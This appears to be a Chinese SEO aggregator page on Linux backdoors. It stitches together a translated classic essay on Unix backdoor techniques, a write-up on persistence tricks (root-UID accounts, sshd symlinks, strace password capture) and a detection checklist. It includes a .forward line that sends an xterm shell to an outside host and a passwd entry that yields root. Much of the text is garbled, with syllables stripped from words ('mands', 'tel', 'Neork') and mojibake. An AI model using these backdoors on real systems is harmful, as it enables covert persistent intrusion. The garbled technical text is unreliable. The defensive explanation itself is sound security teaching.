linux 后门?linux软件仓库
大家好,linux 后门相信很多的网友都不是很明白,包括linux软件仓库也是一样,不过没有关系,接下来就来为大家分享关于linux 后门和linux软件仓库的一些知识点,大家可以关注收藏,免得下次来找不到哦,下面我们开始吧!
什么是后门病毒
分类:电脑/网络>>反病毒
解析:
当一个训练有素的程序员设计一个功能较复杂的软件时,都习惯于先将整个软件分割为若干模块,然后再对各模块单独设计、调试,而后门则是一个模块的秘密入口。在程序开发期间,后门的存在是为了便于测试、更改和增强模块的功能。当然,程序员一般不会把后门记入软件的说明文档,因此用户通常无法了解后门的存在。
/按照正常操作程序,在软件交付用户之前,程序员应该去掉软件模块中的后门,但是,由于程序员的疏忽,或者故意将其留在程序中以便日后可以对此程序进行隐蔽的访问,方便测试或维护已完成的程序等种种原因,实际上并未去掉。
这样,后门就可能被程序的作者所秘密使用,也可能被少数别有用心的人用穷举搜索法发现利用。
cache.baidu/c?word=%CA%B2%C3%B4%3B%CA%C7%3B%BA%F3%C3%C5&url=%3A%2Exiaom%2E/Article%5Fshow%2Easp%3FArticleID%3D4777&b=0&a=29&user=baidu
什么是后门?
从早期的计算机入侵者开始,他们就努力发展能使自己重返被入侵系统的技术或后门.本文将讨论许多常见的后门及其检测方法.更多的焦点放在Unix系统的后门,同时讨论一些未来将会出现的Windows NT的后门.本文将描述如何测定入侵者使用的方法这样的复杂内容和管理员如何防止入侵者重返的基础知识.当管理员懂的一旦入侵者入侵后要制止他们是何等之难以后,将更主动于预防第一次入侵.本文试图涉及大量流行的初级和高级入侵者制作后门的手法,但不会也不可能覆盖到所有可能的方法.
大多数入侵者的后门实现以下二到三个目的:
即使管理员通过改变所有密码类似的方法来提高安全性,仍然能再次侵入.使再次侵入被发现的可能性减至最低.大多数后门设法躲过日志,大多数情况下即使入侵者正在使用系统也无法显示他已在线.一些情况下,如果入侵者认为管理员可能会检测到已经安装的后门,他们以系统的脆弱性作为唯一的后门,重而反复攻破机器.这也不会引起管理员的注意.所以在这样的情况下,一台机器的脆弱性是它唯一未被注意的后门.
密码破解后门
这是入侵者使用的最早也是最老的方法,它不仅可以获得对Unix机器的访问,而且可以通过破解密码制造后门.这就是破解口令薄弱的帐号.以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门.多数情况下,入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些.当管理员寻找口令薄弱的帐号是,也不会发现这些密码已修改的帐号.因而管理员很难确定查封哪个帐号.
Rhosts++后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法.用户可以轻易的改变设置而不需口令就能进入.入侵者只要向可以访问的某用户的rhosts文件中输入"++",就可以允许任何人从任何地方无须口令便能进入这个帐号.特别当home目录通过NFS向外共享时,入侵者更热中于此.这些帐号也成了入侵者再次侵入的后门.许多人更喜欢使用Rsh,因为它通常缺少日志能力.许多管
理员经常检查"++",所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现.
校验和及时间戳后门
早期,许多入侵者用自己的trojan程序替代二进制文件.系统管理员便依*时间戳和系统校验和的程序辨别一个二进制文件是否已被改变,如Unix里的sum程序.入侵者又发展了使trojan文件和原文件时间戳同步的新技术.它是这样实现的:先将系统时钟拨回到原文件时间,然后调整trojan文件的时间为系统时间.一旦二进制trojan文件与原来的精确同步,就可以把系统时间设回当前时间. sum程序是基于CRC校验,很容易
骗过.入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序. MD5是被大多数人推荐的,MD5使用的算法目前还没人能骗过.
Login后门
在Unix里,login程序通常用来对tel来的用户进行口令验证.入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令.如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入.这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的,所以入侵者可以登录获取shell却不会暴露该帐号.管理员注意到这种后门后,便
用"strings"命令搜索login程序以寻找文本信息.许多情况下后门口令会原形毕露.入侵者就开始加密或者更好的隐藏口令,使strings命令失效.所以更多的管理员是用MD5校验和检测这种后门的.
Teld后门
当用户tel到系统,监听端口的id服务接受连接随后递给in.teld,由它运行login.一些入侵者知道管理员会检查login是否被修改,就着手修改in.teld.在in.teld内部有一些对用户信息的检验,比如用户使用了何种终端.典型的终端设置是Xterm或者VT100.入侵者可以做这样的后门,当终端设置为"letmein"时产生一个不要任何验证的shell.入侵者已对某些服务作了后门,对来自特定源端口的连接产
生一个shell.
服务后门
几乎所有网络服务曾被入侵者作过后门. finger, rsh, rexec, rlogin, ftp,甚至id等等的作了的版本随处多是.有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问.这些程序有时用刺娲□?ucp这样不用的服务,或者被加入id.conf作为一个新的服务.管理员应该非常注意那些服务正在运行,并用MD5对原服务程序做校验.
Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行.入侵者可以加入后门shell程序使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问.也可以查看cronjob中经常运行的合法程序,同时置入后门.
库后门
几乎所有的UNIX系统使用共享库.共享库用于相同函数的重用而减少代码长度.一些入侵者在象crypt.c和_crypt.c这些函数里作了后门.象login.c这样的程序调用了crypt(),当使用后门口令时产生一个shell.因此,即使管理员用MD5检查login程序,仍然能产生一个后门函数.而且许多管理员并不会检查库是否被做了后门.对于许多入侵者来说有一个问题:一些管理员对所有东西多作了MD5校验.有一种办法是入侵者对open()和文件访问函数做后门.后门函数读原文件但执行trojan后门程序.所以当MD5读这些文件时,校验和一切正常.但当系统运行时将执行trojan版本的.即使trojan库本身也可躲过MD5校验.对于管理员来说有一种方法可以找到后门,就是静态编连MD5校验程序然后运行.静态连接程序不会使用trojan共享库.
内核后门
内核是Unix工作的核心.用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态连接多不能识别.一个后门作的很好的内核是最难被管理员查找的,所幸的是内核的后门程序还不是随手可得,每人知道它事实上传播有多广.
文件系统后门
入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现.入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等.有时为了防止管理员发现这么大的文件,入侵者需要修补"ls","du","fsck"以隐匿特定的目录和文件.在很低的级别,入侵者做这样的漏洞:以专有的格式在硬盘上割出一部分,且表示为坏的扇区.因此入侵者只能用特别的工具访问这些隐藏的文件.对于普通的
管理员来说,很难发现这些"坏扇区"里的文件系统,而它又确实存在.
Boot块后门
在PC世界里,许多病毒藏匿与根区,而杀病毒软件就是检查根区是否被改变. Unix下,多数管理员没有检查根区的软件,所以一些入侵者将一些后门留在根区.
隐匿进程后门
入侵者通常想隐匿他们运行的程序.这样的程序一般是口令破解程序和监听程序(sniffer).有许多办法可以实现,这里是较通用的:编写程序时修改自己的argv[]使它看起来象其他进程名.可以将sniffer程序改名类似in.syslog再执行.因此当管理员用"ps"检查运行进程时,出现的是标准服务名.可以修改库函数致使
"ps"不能显示所有进程.可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现.使用这个技术的一个后门例子是amod.tar.gz:
star.niimm.spb.su/~maillist/bugtraq.1/0777
也可以修改内核隐匿进程.
Rootkit
最流行的后门安装包之一是rootkit.它很容易用web搜索器找到.从Rootkit的README里,可以找到一些典型的文件:
z2- removes entries from utmp, wtmp, and lastlog.
Es- rokstar's ether sniffer for sun4 based kernels.
Fix- try to fake checksums, install with same dates/perms/u/g.
Sl- bee root via a magic password sent to login.
Ic- modified ifconfig to remove PROMISC flag from output.
ps:- hides the processes.
Ns- modified stat to hide connections to certain machines.
Ls- hides certain directories and files from being listed.
du5- hides how much space is being used on your hard drive.
ls5- hides certain files and directories from being listed.
网络通行后门
入侵者不仅想隐匿在系统里的痕迹,而且也要隐匿他们的网络通行.这些网络通行后门有时允许入侵者通过防火墙进行访问.有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问.因为这是通过非标准网络端口的通行,管理员可能忽视入侵者的足迹.这种后门通常使用TCP,UDP和ICMP,但也可能是其他类型报文.
TCP Shell后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门.许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问.管理员可以用stat命令查看当前的连接状态,那些端口在侦听,目前连接的来龙去脉.通常这些后门可以让入侵者躲过TCP Wrapper技术.这些后门可以放在SMTP端口,许多防火墙允许e-mail通行的.
UDP Shell后门
管理员经常注意TCP连接并观察其怪异情况,而UDP Shell后门没有这样的连接,所以stat不能显示入侵者的访问痕迹.许多防火墙设置成允许类似DNS的UDP报文的通行.通常入侵者将UDP Shell放置在这个端口,允许穿越防火墙.
ICMP Shell后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一.许多防火墙允许外界ping它内部的机器.入侵者可以放数据入Ping的ICMP包,在ping的机器间形成一个shell通道.管理员也许会注意到Ping包暴风,但除了他查看包内数据,否者入侵者不会暴露.
加密连接
管理员可能建立一个sniffer试图某个访问的数据,但当入侵者给网络通行后门加密后,就不可能被判定两台机器间的传输内容了.
Windows NT
由于Windows NT不能轻易的允许多个用户象Unix下访问一台机器,对入侵者来说就很难闯入Windows NT,安装后门,并从那里发起攻击.因此你将更频繁地看到广泛的来自Unix的网络攻击.当Windows NT提高多用户技术后,入侵者将更频繁地利用 WindowsNT.如果这一天真的到来,许多Unix的后门技术将移植到Windows NT上,管理员可以等候入侵者的到来.今天, Windows NT已经有了tel守护程序.通过网络通行后门,入侵者发现在Windows NT安装它们是可行的.( With Neork Traffic
backdoors, theyarevery feasible for intruders to install on Windows NT.此处该如何翻译?:(
解决
当后门技术越先进,管理员越难于判断入侵者是否侵入后者他们是否被成功封杀.
评估
首先要做的是积极准确的估计你的网络的脆弱性,从而判定漏洞的存在且修复之.许多商业工具用来帮助扫描和查核网络及系统的漏洞.如果仅仅安装提供商的安全补丁的话,许多公司将大大提高安全性.
MD5基准线
一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在黑客入侵前由干净系统建立.一旦黑客入侵并建立了后门再建立基准线,那么后门也被合并进去了.一些公司被入侵且系统被安置后门长达几个月.所有的系统备份多包含了后门.当公司发现有黑客并求助备份祛除后门时,一切努力是徒劳的,因为他们恢复系统的同时也恢复了后门.应该在入侵发生前作好基准线的建立.
入侵检测
随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要.以前多数入侵检测技术是基于日志型的.最新的入侵检测系统技术(IDS)是基于实时侦听和网络通行安全分析的.最新的IDS技术可以浏览DNS的UDP报文,并判断是否符合DNS协议请求.如果数据不符合协议,就发出警告信号并抓取数据进行进一步分析.同样的原则可以运用到ICMP包,检查数据是否符合协议要求,或者是否装载加密shell会话.
从CD-ROM启动
一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法的问题是实现的费用和时间够企业面临的.
警告
由于安全领域变化之快,每天有新的漏洞被公布,而入侵者正不断设计新的攻击和安置后门技术,安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不懈的努力!
( Be aware that no defense is foolproof, and that there is no substitute for
diligent attention.此句该如何翻译?:()
-------------------------------------------------------------------------
you may want to add:
.forward Backdoor
On Unix machines, placing mands into the.forward file was also
a mon method of regaining access. For the account ``username''
a.forward file might be constructed as follows:
\username
|"/usr/local/X11/bin/xterm-disp hacksys.other.dom:0.0-e
/bin/sh"
permutations of this method include alteration of the systems mail
aliases file(most monly located at/etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary mands via
stdin(after minor preprocessing).
PS: The above method is also useful gaining access a panies
mailhub(assuming there is a shared a home directory FS on
&nbs>
the client and server).
> Using*** rsh can effectively negate this backdoor(although it's quite
> possibly still a problem if you allow things like elm's filter or
> procmail which can run programs themselves...).
你也许要增加:
.forward后门
Unix下在.forward文件里放入命令是重新获得访问的常用方法.帐户'username'的.forward可能设置如下:
\username
|"/usr/local/X11/bin/xterm-disp hacksys.other.dom:0.0-e/bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases).注意这只是一种简单的变换.更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).>利用*** rsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或 procmail>类程序,很有可能还有问题......)
(此段的内容理解不深,故付上英文,请指教!)
---------------------------------------------------------------------------
你也许能用这个"特性"做后门:
当在/etc/password里指定一个错误的uid/gid后,大多数login(1)的实现是不能检查出这个错误的uid/gid,而atoi(3)将设uid/gid为0,便给了超级用户的权利.
例子:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
在Linux里,这将把用户rmartin的uid设为0.
谈谈Linux后门攻击的几种手法
近期实验室服务器遭受多次攻击,深入分析黑客操作后,我了解到后门攻击是他们常用的手段之一。在清除病毒、修改密码后黑客仍能访问服务器,这说明服务器上存在持久化的后门账号。本文将介绍几种常见的后门攻击手法,为读者提供安全防范知识。
黑客最常用的后门方法之一是创建用户。这在攻击者获得管理员权限后易于实施,虽然容易被发现,但对于安全意识不足的用户足矣。此外,本文还将介绍两种常见的后门方式:sshd软链接和strace后门。
在创建用户作为后门时,攻击者会使用`useradd`命令,通过指定参数来确保新用户具有超级管理员权限。例如,使用`-u0`和`-g0`确保用户UID和GID与root一致,`-o`允许用户UID相同,`-s`指定登录时使用的shell。`passwd`命令的静默执行是通过将密码直接输入命令行实现的。
另一种方法是使用`useradd`的`-p`参数,指定密码散列后的密文,但需要理解密码散列的原理和生成方法。密码散列信息存储在`/etc/shadow`文件中,其中包含用户名、密码散列信息、salt(用于加密的随机字符串)和算法信息。使用`openssl passwd`工具可以生成密码散列信息。
除了直接创建用户,攻击者还会利用`sshpass`工具进行静默登录,简化密码输入过程。为了防止被识破,建议定期检查`/etc/shadow`文件,确保无异常用户记录,并修改`/etc/ssh/sshd_config`文件禁用密码验证,仅使用公钥验证。
在`sshd`配置允许使用PAM(Pluggable Authentication Modules)时,黑客可以通过执行特定命令实现无密码远程登录。这要求在服务器上进行相应的安全设置,包括删除临时目录下的软链接,如`/tmp`下的`su`、`chsh`、`chfn`等。
利用`strace`工具作为后门,可以监控进程的系统调用和数据,进而记录SSH、SU、SUDO等命令的数据,用于获取其他用户登录密码的明文。通过跟踪sshd进程,黑客可以收集登录密码信息。在实际操作中,使用`strace`命令监控并记录相关信息,然后通过分析日志获取密码。
总之,了解并防范后门攻击对于维护网络安全至关重要。本文提供的信息有助于提高安全意识和采取相应预防措施,防止服务器成为攻击者的肉鸡。
如何查找Linux服务器上的webShell后门
1、检查系统密码文件
首先从明显的入手,查看一下passwd文件,ls–l/etc/passwd查看文件修改的日期。
awk–F:‘length($2)==0{print$1}’/etc/shadow
2、查看一下进程,看看有没有奇怪的进程
重点查看进程:ps–aef| grep inetd
inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd–s/tmp/.xxx之类的进程,着重看inetd–s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd–s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。
输入ps–aef查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill–9 pid开杀死该进程,然后再运行ps–aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find/-name程序名–print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东,
接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。
3、检查系统守护进程
检查/etc/inetd.conf文件,输入:cat/etc/inetd.conf| grep–v“^#”,输出的信息就是你这台机器所开启的远程服务。
一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。
4、检查网络连接和监听端口
输入netstat-an,列出本机所有的连接和监听的端口,查看有没有非法连接。
输入netstat–rn,查看本机的路由、网关设置是否正确。
输入 ifconfig–a,查看网卡设置。
5、检查系统日志
命令last| more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。
在linux下输入ls–al/var/log
检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。
6、检查系统中的core文件
通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find/-name core–exec ls–l{}\;依据core所在的目录、查询core文件来判断是否有入侵行为。
7、检查系统文件完整性
检查文件的完整性有多种方法,通常我们通过输入ls–l文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm–V `rpm–qf文件名`来查询,查询的结果是否正常来判断文件是否完整。